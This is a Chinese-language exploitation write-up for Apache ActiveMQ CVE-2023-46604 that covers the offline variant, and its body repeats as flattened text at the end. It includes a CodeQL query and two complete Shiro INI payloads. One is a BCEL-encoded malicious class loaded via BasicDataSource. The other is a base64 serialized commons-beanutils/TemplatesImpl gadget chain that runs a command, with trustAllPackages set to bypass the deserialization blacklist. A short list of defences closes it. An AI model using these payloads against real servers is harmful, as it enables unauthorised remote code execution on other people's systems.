CVE-2023-46604 ActiveMQ RCE不出网利用
字数 1298 2025-08-22 12:22:37

ActiveMQ RCE漏洞(CVE-2023-46604)不出网利用分析

漏洞概述

CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞,攻击者可以通过构造特殊的Shiro配置文件触发任意类的getter/setter方法调用,最终实现远程代码执行。该漏洞特别之处在于可以在不出网(无外联)的环境下利用。

漏洞分析

入口点发现

通过CodeQL分析ActiveMQ源码,寻找构造方法为单个String参数的类:

import java
from Constructor c
where c.getParameterType(0).hasName("String") 
  and c.getNumberOfParameters() = 1 
  and c.fromSource()
select c, c.getParameterType(0)

分析结果中几个可疑类:

  • org.apache.activemq.shiro.env.IniEnvironment
  • org.apache.activemq.junit.EmbeddedActiveMQBroker
  • org.apache.activemq.pool.PooledConnectionFactory

最终确认IniEnvironment类是漏洞利用的关键入口点。

IniEnvironment类分析

IniEnvironment构造函数接受一个Shiro配置文件字符串,并会解析该配置。Shiro配置格式如下:

[main]
user=com.just.User
info=com.just.Info
user.info=$info
user.info.username=anchor
user.info.password=123456

Shiro解析配置时会调用对应类的getter/setter方法进行赋值。例如user.info.username=anchor等价于调用user.getInfo().setUsername("anchor")

关键点:

  • 可以调用任意类的getter/setter方法
  • 不依赖类是否有对应属性,只要方法名符合setXxx/getXxx格式即可

利用链构造

1. BasicDataSource + BCEL链

利用org.apache.commons.dbcp2.BasicDataSource#getConnection()触发BCEL加载恶意字节码:

[main]
bds = org.apache.commons.dbcp2.BasicDataSource
bds.driverClassLoader = com.sun.org.apache.bcel.internal.util.ClassLoader
bds.driverClassName = "
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$AmQMo$d3$40$Q$7d$9b$a4q$ec$3a$e4$a3$cd$H$e5$a3$a4$z$8d$d3$D$bepK$c4$F$b5R$85$a1$88T$a9zt$96m$b2$c1$b1$pg$d3$e6$lq$ce$F$QH$ed$9d$l$85$985Q$I$w$96$3c$b3$f3$e6$cd$9b$e7$f5$cf_$dfo$B$bc$84c$c1D$dd$c2C$ec$e4$f0H$e7$c7$G$9e$Yxj$n$8b$5d$D$cf$M4$Y$b2$j$ZJ$f5$8a$n$ed$b4z$M$99$d7$d1G$c1P$f0d$u$de$cd$c6$7d$R$9f$fb$fd$80$90$b2$Xq$3f$e8$f9$b1$d4$f5$S$cc$a8$a1$9cj6$8f$c6$eeh6U$ee$f1$b5$M$da$M$b9$O$P$96$ba$8cx$Vo$e4_$fb$ae$8c$dc$d3$b3$e39$X$T$r$a3$90h$f9$ae$f2$f9$a7$b7$fe$q$d1$pw$MV7$9a$c5$5c$9cH$adoj$b9$Xz$d6$86$85M$D$7b6$f6q$40$8b$c9$L$b7$f1$i$87$M$5b$ff$d1f$d8I$d0$c0$P$H$ee$87Y$a8$e4X$ac$9aZ$abI$cb$ff1$cdP$fc$3bq$d6$l$J$ae$YJ$f7D$c8$e0$40$a8UQqZ$de$3d$O$7dXF$cc$Fgh$3ak$dd$ae$8ae8h$af$P$bc$8f$p
$$
$a6S$g$a8$af3$cf$87qt$a3o$a4$dd$ea$a1$81$i$fdG$fd$a4$c0$f4$zP$b4$a9r$v3$ca$hG_$c1$WI$3bO1$fb$H$c4$D$8a$f6$f2$5c$40$91r$O$a5$d5$f0$V$d2I$af$f6$N$a9r$fa$L2$X$9f$91$7f$f3$D$d9KR3$ee$WI$d3$q$ea$G$R$b5l$95NH$9cl$Sj$Sf$Rf$af$d6$e4$J$xc$8b$aamz$N$a4$3c$D$V$93$g$d5$c4Y$ed7f9$e8t$96$C$A$A"
bds.connection.a = a

2. ActiveMQObjectMessage反序列化链

对于高版本JDK,可以使用org.apache.activemq.command.ActiveMQObjectMessage#getObject()触发反序列化:

[main]
bs = org.apache.activemq.util.ByteSequence
message = org.apache.activemq.command.ActiveMQObjectMessage
bs.data = rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAa/K/rq+AAAANAAcAQADQ2F0BwAWAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhDYXQuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBABZFdmlsQ2F0Nzg2OTg3Nzc2NjY3MzAwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnB0AAZBbmNob3JwdwEAeHEAfgANeA==
bs.length = 1376
bs.offset = 0
message.content = $bs
message.trustAllPackages = true
message.object.x = x

关键点:

  1. 需要设置trustAllPackages=true绕过ActiveMQ的反序列化黑名单
  2. 字节类型属性可以通过base64或十六进制编码赋值
  3. 利用ActiveMQ依赖中的低版本commons-beanutils组件

利用限制

  1. BCEL链仅适用于低版本JDK
  2. JDBC连接方式在ActiveMQ环境中不可用(缺少数据库依赖)
  3. 反序列化链需要目标环境存在可利用的反序列化gadget

防御建议

  1. 升级到已修复的ActiveMQ版本
  2. 限制对ActiveMQ管理接口的访问
  3. 实施网络隔离,限制ActiveMQ服务的出站连接
  4. 监控和过滤可疑的Shiro配置输入

总结

CVE-2023-46604漏洞通过Shiro配置解析功能实现了任意getter/setter方法调用,结合ActiveMQ环境中的特定类实现了不出网的RCE。该漏洞展示了配置解析功能可能带来的安全风险,特别是在可以动态加载类和执行代码的环境中。

ActiveMQ RCE漏洞(CVE-2023-46604)不出网利用分析 漏洞概述 CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞,攻击者可以通过构造特殊的Shiro配置文件触发任意类的getter/setter方法调用,最终实现远程代码执行。该漏洞特别之处在于可以在不出网(无外联)的环境下利用。 漏洞分析 入口点发现 通过CodeQL分析ActiveMQ源码,寻找构造方法为单个String参数的类: 分析结果中几个可疑类: org.apache.activemq.shiro.env.IniEnvironment org.apache.activemq.junit.EmbeddedActiveMQBroker org.apache.activemq.pool.PooledConnectionFactory 最终确认 IniEnvironment 类是漏洞利用的关键入口点。 IniEnvironment类分析 IniEnvironment 构造函数接受一个Shiro配置文件字符串,并会解析该配置。Shiro配置格式如下: Shiro解析配置时会调用对应类的getter/setter方法进行赋值。例如 user.info.username=anchor 等价于调用 user.getInfo().setUsername("anchor") 。 关键点: 可以调用任意类的getter/setter方法 不依赖类是否有对应属性,只要方法名符合 setXxx / getXxx 格式即可 利用链构造 1. BasicDataSource + BCEL链 利用 org.apache.commons.dbcp2.BasicDataSource#getConnection() 触发BCEL加载恶意字节码: 2. ActiveMQObjectMessage反序列化链 对于高版本JDK,可以使用 org.apache.activemq.command.ActiveMQObjectMessage#getObject() 触发反序列化: 关键点: 需要设置 trustAllPackages=true 绕过ActiveMQ的反序列化黑名单 字节类型属性可以通过base64或十六进制编码赋值 利用ActiveMQ依赖中的低版本commons-beanutils组件 利用限制 BCEL链仅适用于低版本JDK JDBC连接方式在ActiveMQ环境中不可用(缺少数据库依赖) 反序列化链需要目标环境存在可利用的反序列化gadget 防御建议 升级到已修复的ActiveMQ版本 限制对ActiveMQ管理接口的访问 实施网络隔离,限制ActiveMQ服务的出站连接 监控和过滤可疑的Shiro配置输入 总结 CVE-2023-46604漏洞通过Shiro配置解析功能实现了任意getter/setter方法调用,结合ActiveMQ环境中的特定类实现了不出网的RCE。该漏洞展示了配置解析功能可能带来的安全风险,特别是在可以动态加载类和执行代码的环境中。